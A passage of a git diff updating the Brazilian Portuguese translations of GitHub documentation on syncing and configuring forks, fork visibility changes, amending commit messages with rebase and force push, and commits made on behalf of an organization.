+- [Guias de código aberto](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
index 6df2bd10ed..bf692b6dd4 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
@@ -1,6 +1,6 @@
 ---
 title: Configurar remote para bifurcação
-intro: 'You must configure a remote that points to the upstream repository in Git to [sync changes you make in a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork) with the original repository. Isso também permite sincronizar alterações feitas no repositório original com a bifurcação.'
+intro: 'Você deve configurar um controle remoto que aponte para o repositório upstream no Git para [sincronizar alterações que você fizer em uma bifurcação](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork) com o repositório original. Isso também permite sincronizar alterações feitas no repositório original com a bifurcação.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/configuring-a-remote-for-a-fork
   - /articles/configuring-a-remote-for-a-fork
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
index 19207dd1b4..a51477013a 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with forks
-intro: 'Forks are often used in open source development on {% data variables.product.product_name %}.'
+title: Trabalhar com bifurcações
+intro: 'As bifurcações costumam ser usadas no desenvolvimento de código aberto no {% data variables.product.product_name %}.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks
   - /articles/working-with-forks
@@ -20,3 +20,4 @@ children:
   - /allowing-changes-to-a-pull-request-branch-created-from-a-fork
   - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
index 586100d514..54f9af8281 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Syncing a fork
-intro: Sync a fork of a repository to keep it up-to-date with the upstream repository.
+title: Sincronizar uma bifurcação
+intro: Sincronize uma bifurcação de um repositório para mantê-la atualizada com o repositório upstream.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork
   - /articles/syncing-a-fork
@@ -17,39 +17,37 @@ topics:
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Syncing a fork from the web UI
+## Sincronizando uma bifurcação a partir da interface de usuário da web
 
-1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository.
-1. Select the **Fetch upstream** drop-down.
-    !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png)
-1. Review the details about the commits from the upstream repository, then click **Fetch and merge**.
-    !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png)
+1. Em {% data variables.product.product_name %}, acesse a página principal do repositório bifurcado que você deseja sincronizar com o repositório upstream.
+1. Selecione o menu suspenso **Buscar a upstream**. ![Menu suspenso "Buscar upstream"](/assets/images/help/repository/fetch-upstream-drop-down.png)
+1. Revise as informações sobre os commits do repositório upstream e, em seguida, clique em **Buscar e merge**. ![Botão "Buscar e fazer merge"](/assets/images/help/repository/fetch-and-merge-button.png)
 
-If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts.
+Se as alterações do repositório a upstream gerarem conflitos, {% data variables.product.company_short %} solicitará a criação de um pull request para resolver os conflitos.
 
-## Syncing a fork from the command line
+## Sincronizando uma bifurcação a partir da linha de comando
 
 {% endif %}
-Before you can sync your fork with an upstream repository, you must [configure a remote that points to the upstream repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) in Git.
+Para poder sincronizar a bifurcação com o repositório upstream, você deve [configurar um remote que aponte para o repositório upstream](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) no Git.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCHNAME` will be stored in the local branch `upstream/BRANCHNAME`.
+2. Altere o diretório de trabalho atual referente ao seu projeto local.
+3. Obtenha os branches e os respectivos commits do repositório upstream. Os commits para `BRANCHNAME` serão armazenados no branch local `upstream/BRANCHNAME`.
   ```shell
   $ git fetch upstream
   > remote: Counting objects: 75, done.
-  > remote: Compressing objects: 100% (53/53), done.
+  > remote: Compactação de objetos: 100% (53/53), concluída.
   > remote: Total 62 (delta 27), reused 44 (delta 9)
   > Unpacking objects: 100% (62/62), done.
   > From https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>
   >  * [new branch]      main     -> upstream/main
   ```
-4. Check out your fork's local default branch - in this case, we use `main`.
+4. Faça o checkout do branch padrão local da sua bifurcação - neste caso, nós usamos o `principal`.
   ```shell
   $ git checkout main
   > Switched to branch 'main'
   ```
-5. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes.
+5. Faça merge das alterações do branch padrão upstream - nesse caso, `upstream/main` - no seu branch padrão local. Isso coloca o branch padrão da bifurcação em sincronia com o repositório upstream, sem perder as alterações locais.
   ```shell
   $ git merge upstream/main
   > Updating a422352..5fdff0f
@@ -70,6 +68,6 @@ Before you can sync your fork with an upstream repository, you must [configure a
 
 {% tip %}
 
-**Tip**: Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.product.product_location %}, you must [push your changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**Dica**: a sincronização da bifurcação só atualiza a cópia local do repositório. Para atualizar a bifurcação no {% data variables.product.product_location %}, você precisa [fazer push das alterações](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
 
 {% endtip %}
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
index 2a067051d5..99b4d71285 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: What happens to forks when a repository is deleted or changes visibility?
-intro: Deleting your repository or changing its visibility affects that repository's forks.
+title: O que acontece com as bifurcações quando um repositório é excluído ou muda de visibilidade?
+intro: A exclusão do repositório ou a mudança na visibilidade dele afeta as bifurcações desse repositório.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
   - /articles/changing-the-visibility-of-a-network
@@ -14,70 +14,71 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Deleted or changes visibility
+shortTitle: Visibilidade excluída ou alterada
 ---
+
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
-## Deleting a private repository
+## Excluir um repositório privado
 
-When you delete a private repository, all of its private forks are also deleted.
+Quando você exclui um repositório privado, todas as bifurcações privadas dele também são excluídas.
 
 {% ifversion fpt or ghes or ghec %}
 
-## Deleting a public repository
+## Excluir um repositório público
 
-When you delete a public repository, one of the existing public forks is chosen to be the new parent repository. All other repositories are forked off of this new parent and subsequent pull requests go to this new parent.
+Quando você exclui um repositório público, uma das bifurcações públicas existentes é escolhida para ser o novo repositório principal. Todos os outros repositórios são bifurcados a partir desse principal e as pull request subsequentes vão para ele também.
 
 {% endif %}
 
-## Private forks and permissions
+## Permissões e bifurcações privadas
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
 {% ifversion fpt or ghes or ghec %}
 
-## Changing a public repository to a private repository
+## Mudar de repositório público para repositório privado
 
-If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new parent repository and all other repositories are forked off of this new parent. Subsequent pull requests go to this new parent.
+Se um repositório público passa a ser privado, as bifurcações públicas dele são divididas em uma nova rede. Assim como na exclusão de um repositório público, uma das bifurcações públicas existentes é escolhida para ser o novo repositório principal, todos os outros repositórios são bifurcados a partir dele e as pull requests subsequentes vão para esse repositório também.
 
-In other words, a public repository's forks will remain public in their own separate repository network even after the parent repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/articles/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) parent repository—even though they didn't need those permissions before.
+Ou seja, as bifurcações de um repositório público permanecerão públicas na própria rede de repositório separada, mesmo depois que o repositório principal se tornar privado. Isso permite que os proprietários da bifurcação continuem trabalhando e colaborando sem interrupção. Se as bifurcações públicas não tiverem sido movidas para uma rede separada dessa forma, os proprietários dessas bifurcações precisarão obter as [permissões de acesso](/articles/access-permissions-on-github) apropriadas para fazer pull de alterações do repositório principal (agora privado) e enviar pull requests para ele, ainda que antes não precisassem dessas permissões.
 
 {% ifversion ghes or ghae %}
-If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+Se um repositório público tiver acesso de leitura anônimo do Git habilitado e o repositório passar a ser privado, todas as bifurcações do repositório perderão o acesso de leitura anônimo do Git e retornarão à configuração padrão desabilitada. Se um repositório bifurcado passar a ser público, os administradores dele poderão reabilitar o acesso de leitura anônimo do Git. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)".
 {% endif %}
 
-### Deleting the private repository
+### Excluir o repositório privado
 
-If a public repository is made private and then deleted, its public forks will continue to exist in a separate network.
+Se um repositório público passa ser privado e depois é excluído, as bifurcações públicas dele continuam existindo em uma rede separada.
 
-## Changing a private repository to a public repository
+## Mudar de repositório privado para repositório público
 
-If a private repository is made public, each of its private forks is turned into a standalone private repository and becomes the parent of its own new repository network. Private forks are never automatically made public because they could contain sensitive commits that shouldn't be exposed publicly.
+Se um repositório privado passa a ser público, cada uma das bifurcações privadas dele é transformada em um repositório privado autônomo e se torna o principal da própria rede de repositório nova. As bifurcações privadas nunca são transformadas em públicas de forma automática porque podem conter commits confidenciais que não devem ser expostos publicamente.
 
-### Deleting the public repository
+### Excluir o repositório público
 
-If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks.
+Se um repositório privado passa a ser público e depois é excluído, as bifurcações privadas dele continuam existindo como repositórios privados autônomos em redes separadas.
 
 {% endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-## Changing the visibility of an internal repository
+## Alterar a visibilidade de um repositório interno
 
 
 
-If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private.
+Se a política para a sua empresa permitir a bifurcação, qualquer bifurcação de um repositório interno será privado. Se você alterar a visibilidade de um repositório interno, qualquer bifurcação pertencente a uma organização ou conta de usuário continuará sendo privada.
 
-### Deleting the internal repository
+### Excluir o repositório interno
 
-If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network.
+Se você alterar a visibilidade de um repositório interno e, em seguida, excluir o repositório, as bifurcações continuarão a existir em uma rede separada.
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Setting repository visibility](/articles/setting-repository-visibility)"
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)"
-- "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)"
-- "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)"
+- "[Definir a visibilidade de um repositório](/articles/setting-repository-visibility)"
+- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Gerenciando a política de bifurcação de seu repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)"
+- "[Gerenciar a política de bifurcação para sua organização](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)"
+- "[Aplicando políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)"
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
index 5877608cd0..b201c3f7db 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
@@ -1,73 +1,74 @@
 ---
-title: Changing a commit message
+title: Alterar a mensagem do commit
 redirect_from:
   - /articles/can-i-delete-a-commit-message
   - /articles/changing-a-commit-message
   - /github/committing-changes-to-your-project/changing-a-commit-message
   - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
-intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.'
+intro: 'Se uma mensagem do commit contiver informações imprecisas, incorretas ou confidenciais, você poderá corrigi-las localmente e fazer push de um novo commit com uma nova mensagem para o {% data variables.product.product_name %}. Também é possível alterar uma mensagem do commit para adicionar informações ausentes.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Rewriting the most recent commit message
 
-You can change the most recent commit message using the `git commit --amend` command.
+## Reescrever a mensagem do commit mais recente
 
-In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one.
+Você pode alterar a mensagem do commit mais recente usando o comando `git commit --amend`.
 
-## Commit has not been pushed online
+No Git, o texto da mensagem do commit faz parte do commit. Alterar a mensagem do commit mudará o ID do commit, isto é, a soma de verificação SHA1 que nomeia o commit. Efetivamente, você está criando um commit que substitui o antigo.
 
-If the commit only exists in your local repository and has not been pushed to {% data variables.product.product_location %}, you can amend the commit message with the `git commit --amend` command.
+## Não foi feito push on-line do commit
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Type `git commit --amend` and press **Enter**.
-3. In your text editor, edit the commit message, and save the commit.
-    - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)."
+Se o commit existir em seu repositório local e não tiver sido publicado no {% data variables.product.product_location %}, você poderá corrigir a mensagem do commit com o comando `git commit --amend`.
+
+1. Na linha de comando, navegue até o repositório que contém o commit que você deseja corrigir.
+2. Digite `git commit --amend` e pressione **Enter**.
+3. No editor de texto, edite a mensagem do commit e salve o commit.
+    - Você pode adicionar um coautor incluindo um trailer no commit. Para obter mais informações, consulte "[Criar um commit com vários autores](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)".
 {% ifversion fpt or ghec %}
-    - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)"
+    - É possível criar commits em nome da sua organização adicionando um trailer ao commit. Para obter mais informações, consulte "[Criar um commit em nome de uma organização](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)"
 {% endif %}
 
-The new commit and message will appear on {% data variables.product.product_location %} the next time you push.
+O novo commit e a mensagem aparecerão no {% data variables.product.product_location %} na próxima vez que você fizer push.
 
 {% tip %}
 
-You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual.
+Você pode alterar o editor de texto padrão do Git mudando a configuração `core.editor`. Para obter mais informações, consulte a seção sobre a "[configuração básica de cliente](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" no manual do Git.
 
 {% endtip %}
 
-## Amending older or multiple commit messages
+## Corrigir mensagens do commit antigas ou em grandes quantidades
 
-If you have already pushed the commit to {% data variables.product.product_location %}, you will have to force push a commit with an amended message.
+Se você já tiver feito push do commit no {% data variables.product.product_location %}, será necessário forçar o push de um commit com uma mensagem corrigida.
 
 {% warning %}
 
-We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual.
+O recomendável é evitar tanto quanto possível o push forçado, uma vez que isso altera o histórico do repositório. No caso de push forçado, as pessoas que já clonaram o repositório terão que corrigir manualmente o respectivo histórico local. Para obter mais informações, consulte a seção sobre como "[recuperar usando rebase upstream](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" no manual do Git.
 
 {% endwarning %}
 
-**Changing the message of the most recently pushed commit**
+**Alterar a mensagem do commit enviado mais recentemente**
 
-1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message.
-2. Use the `push --force-with-lease` command to force push over the old commit.
+1. Siga as [etapas acima](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) para corrigir a mensagem do commit.
+2. Use o comando `push --force-with-lease` para fazer push forçado sobre o commit antigo.
   ```shell
   $ git push --force-with-lease <em>example-branch</em>
   ```
 
-**Changing the message of older or multiple commit messages**
+**Alterar a mensagem das mensagens mais antigas ou múltiplas do commit**
 
-If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history.
+Se precisar corrigir a mensagem de vários commits ou de um commit antigo, você pode usar o rebase interativo e, em seguida, forçar o push para alterar o histórico do commit.
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor.
+1. Na linha de comando, navegue até o repositório que contém o commit que você deseja corrigir.
+2. Use o comando `git rebase -i HEAD~n` para exibir uma lista dos `n` últimos commits no seu editor de texto padrão.
 
     ```shell
     # Displays a list of the last 3 commits on the current branch
     $ git rebase -i HEAD~3
     ```
-    The list will look similar to the following:
+    A lista ficará parecida com o seguinte:
 
     ```shell
     pick e499d89 Delete CNAME
@@ -76,49 +77,49 @@ If you need to amend the message for multiple commits or an older commit, you ca
 
     # Rebase 9fdb3bd..f7fde4a onto 9fdb3bd
     #
-    # Commands:
-    # p, pick = use commit
-    # r, reword = use commit, but edit the commit message
-    # e, edit = use commit, but stop for amending
-    # s, squash = use commit, but meld into previous commit
-    # f, fixup = like "squash", but discard this commit's log message
-    # x, exec = run command (the rest of the line) using shell
+    # Comandos:
+    # p, pick = usar commit
+    # r, reword = usar commit, mas editar a mensagem do commit
+    # e, edit = usar commit, mas interromper para correção
+    # s, squash = usar commit, mas combinar com commit anterior
+    # f, fixup = como "squash", mas descartar a mensagem de log do commit
+    # x, exec = executar o comando (o restante da linha) usando shell
     #
-    # These lines can be re-ordered; they are executed from top to bottom.
+    # Essas linhas podem ser reordenadas; elas são executadas de cima para baixo.
     #
-    # If you remove a line here THAT COMMIT WILL BE LOST.
+    # Se você remover uma linha aqui ESSE COMMIT SERÁ PERDIDO.
     #
-    # However, if you remove everything, the rebase will be aborted.
+    # No entanto, se você remover tudo, o rebase será anulado.
     #
-    # Note that empty commits are commented out
+    # Observe que commits vazios são comentados
     ```
-3. Replace `pick` with `reword` before each commit message you want to change.
+3. Substitua `pick` por `reword` antes de cada mensagem do commit que deseja alterar.
   ```shell
   pick e499d89 Delete CNAME
   reword 0c39034 Better README
   reword f7fde4a Change the commit message but push the same commit.
   ```
-4. Save and close the commit list file.
-5. In each resulting commit file, type the new commit message, save the file, and close it.
-6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit.
+4. Salve e feche o arquivo da lista de commits.
+5. Em cada arquivo de commit resultante, digite a nova mensagem do commit, salve o arquivo e feche-o.
+6. Quando estiver pronto para fazer push das suas alterações para o GitHub, use o comando push --force para fazer push forçado sobre o commit antigo.
 ```shell
 $ git push --force <em>example-branch</em>
 ```
 
-For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual.
+Para obter mais informações sobre rebase interativo, consulte a seção sobre o "[modo interativo](https://git-scm.com/docs/git-rebase#_interactive_mode)" no manual do Git.
 
 {% tip %}
 
-As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent.
+Tal como antes, corrigir a mensagem do commit resultará em um novo commit com um novo ID. No entanto, nesse caso, cada commit que segue o commit corrigido também obterá um novo ID, pois cada commit também contém o id de seu principal.
 
 {% endtip %}
 
 {% warning %}
 
-If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository.
+Se você incluiu informações confidenciais em uma mensagem do commit, forçar o push de um commit com um commit corrigido pode não remover o commit original do {% data variables.product.product_name %}. O commit antigo não fará parte de um clone subsequente. No entanto, ele ainda poderá ser armazenado no cache do {% data variables.product.product_name %} e ser acessado por meio do ID do commit. Você deve contatar o {% data variables.contact.contact_support %} com o ID do commit antigo para que ele seja apagado do repositório remoto.
 
 {% endwarning %}
 
-## Further reading
+## Leia mais
 
-* "[Signing commits](/articles/signing-commits)"
+* "[Assinar commits](/articles/signing-commits)"
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
index a7082678b8..5b5f2bbfa7 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a commit on behalf of an organization
-intro: 'You can create commits on behalf of an organization by adding a  trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.'
+title: Criar um commit em nome de uma organização
+intro: 'Você pode criar commits em nome de uma organização adicionando um trailer à mensagem do commit. Os commits atribuídos a uma organização incluem um selo "em nome de" no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/creating-a-commit-on-behalf-of-an-organization
   - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization
@@ -8,28 +8,29 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: On behalf of an organization
+shortTitle: Em nome de uma organização
 ---
+
 {% note %}
 
-**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change.
+**Observação:** a capacidade de criar um commit em nome de uma organização, atualmente, está em versão beta pública e sujeita a alterações.
 
 {% endnote %}
 
-To create commits on behalf of an organization:
+Para criar commits em nome de uma organização:
 
-- you must be a member of the organization indicated in the trailer
-- you must sign the commit
-- your commit email and the organization email must be in a domain verified by the organization
-- your commit message must end with the commit trailer `on-behalf-of: @org <name@organization.com>`
-  - `org` is the organization's login
-  - `name@organization.com` is in the organization's domain
+- você deve ser um integrante da organização indicado no trailer
+- você deve assinar o commit
+- o e-mail do seu commit e o e-mail da organização devem estar em um domínio verificado pela organização
+- sua mensagem do commit deve terminar com o trailer do commit `on-behalf-of: @org <name@organization.com>`
+  - `org` é o login da organização
+  - `name@organization.com` está no domínio da organização
 
-Organizations can use the `name@organization.com` email as a public point of contact for open source efforts.
+As organizações podem usar o e-mail `name@organization.com` como um ponto público de contato para esforços de código aberto.
 
-## Creating commits with an `on-behalf-of` badge on the command line
+## Criar commits com um selo `on-behalf-of` na linha de comando
 
-1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+1. Digite sua mensagem de commit e uma descrição curta e significativa de suas alterações. Depois da descrição do commit, em vez de inserir aspas para encerrar, adicione duas linhas vazias.
   ```shell
   $ git commit -m "Refactor usability tests.
   >
@@ -37,11 +38,11 @@ Organizations can use the `name@organization.com` email as a public point of con
   ```
   {% tip %}
 
-  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer.
+  **Dica:** Se você estiver usando um editor de texto na linha de comando para digitar sua mensagem de commit, certifique-se de que existem duas novas linhas entre o final da sua descrição do commit e o indicador `on-behalf-of:`.
 
   {% endtip %}
 
-2. On the next line of the commit message, type `on-behalf-of: @org <name@organization.com>`, then a closing quotation mark.
+2. Na próxima linha da mensagem do commit, digite `on-behalf-of: @org <name@organization.com>` e, em seguida, aspas de fechamento.
 
   ```shell
   $ git commit -m "Refactor usability tests.
@@ -50,25 +51,24 @@ Organizations can use the `name@organization.com` email as a public point of con
   on-behalf-of: <em>@org</em> &lt;<em>name@organization.com</em>&gt;"
   ```
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+O novo commit, mensagem e selo aparecerão no {% data variables.product.product_location %} na próxima vez que você fizer push. Para obter mais informações, consulte "[Fazer push das alterações em um repositório remoto](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)".
 
-## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %}
+## Criar commits com um selo `on-behalf-of` no {% data variables.product.product_name %}
 
-After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message.
+Depois que fizer alterações em um arquivo usando um editor web no {% data variables.product.product_name %}, você poderá criar um commit em nome da sua organização adicionando um trailer `on-behalf-of:` à mensagem do commit.
 
-1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
-  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
+1. Depois de fazer as alterações, na parte inferior da página, digite uma mensagem de commit curta e significativa que descreve as alterações feitas. ![Mensagem do commit para sua alteração](/assets/images/help/repository/write-commit-message-quick-pull.png)
 
-2. In the text box below your commit message, add `on-behalf-of: @org <name@organization.com>`.
+2. Na caixa de texto abaixo da mensagem do commit, adicione `on-behalf-of: @org <name@organization.com>`.
 
-  ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
-4. Click **Commit changes** or **Propose changes**.
+  ![Exemplo de trailer on-behalf-of da mensagem do commit na segunda caixa de texto da mensagem do commit](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
+4. Clique em **Commit changes** (Fazer commit de alterações) ou **Propose changes** (Propor alterações).
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %}.
+O novo commit, mensagem e selo aparecerão no {% data variables.product.product_location %}.
 
-## Further reading
+## Leia mais
 
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
-- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
-- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)"
-- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
+- "[Exibir contribuições no perfil](/articles/viewing-contributions-on-your-profile)"
+- "[Por que minhas contribuições não aparecem no meu perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
+- "[Exibir contribuidores de um projeto](/articles/viewing-a-projects-contributors)"
+- "[Alterar uma mensagem do commit](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
index 75eca09a64..08f6e20012 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
